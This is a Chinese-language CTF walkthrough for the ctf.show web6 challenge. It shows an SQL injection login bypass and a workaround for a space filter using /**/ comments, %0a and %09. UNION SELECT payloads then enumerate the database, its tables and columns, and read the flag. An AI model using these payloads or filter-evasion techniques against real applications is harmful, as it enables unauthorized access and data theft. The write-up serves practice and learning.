CTF Web 刷题笔记|[ctf.show] web6 – 空格过滤

0 阅读1分钟

一、题目

二、解题思路

  1. 输入万能用户名:admin' or 1=1#,密码随意。

"or 1=1#,密码随意。

返回页面:

  1. 考虑是否有过滤! 也许是空格过滤。我输入1 1时,返回同样页面,但输入1就没事,输入1 又报错。
  2. 用 /**/(多行注释符)来代替空格,构造新的 payload:
'/**/or/**/1=1#
 密码随便填,点击登录即可绕过验证。
 有了注释符,也可以不输入密码了。

存在注入

绕过空格的方法:

  • 多行注释符 /**/
  • %0a(URL编码的换行符)
  • %09(URL编码的制表符)
  • 括号 () 包裹函数,如 or(1=1)
  1. 判断注入类型和闭合方式,输入:
'/**/and/**/1=1#
'/**/and/**/1=2#

均无报错,,可能这道题目屏蔽了报错,不输出错误信息。所以看不到 SQL 错误,但注入依然存在。

  1. 判断列数,输入:
'/**/or/**/1=1/**/order/**/by/**/1#
'/**/or/**/1=1/**/order/**/by/**/2#
'/**/or/**/1=1/**/order/**/by/**/3#

'/**/or/**/1=1/**/order/**/by/**/4#

前3列都正常返回登录成功,到4列报错,说明有3列

  1. 判断回显位置:
'/**/or/**/1=1/**/union/**/select/**/1,2,3#

说明回显位置为2

  1. 查数据库,输入:
'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

  1. 查表
'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

  1. 查字段
'/**/or/**/1=1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

  1. 读flag
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#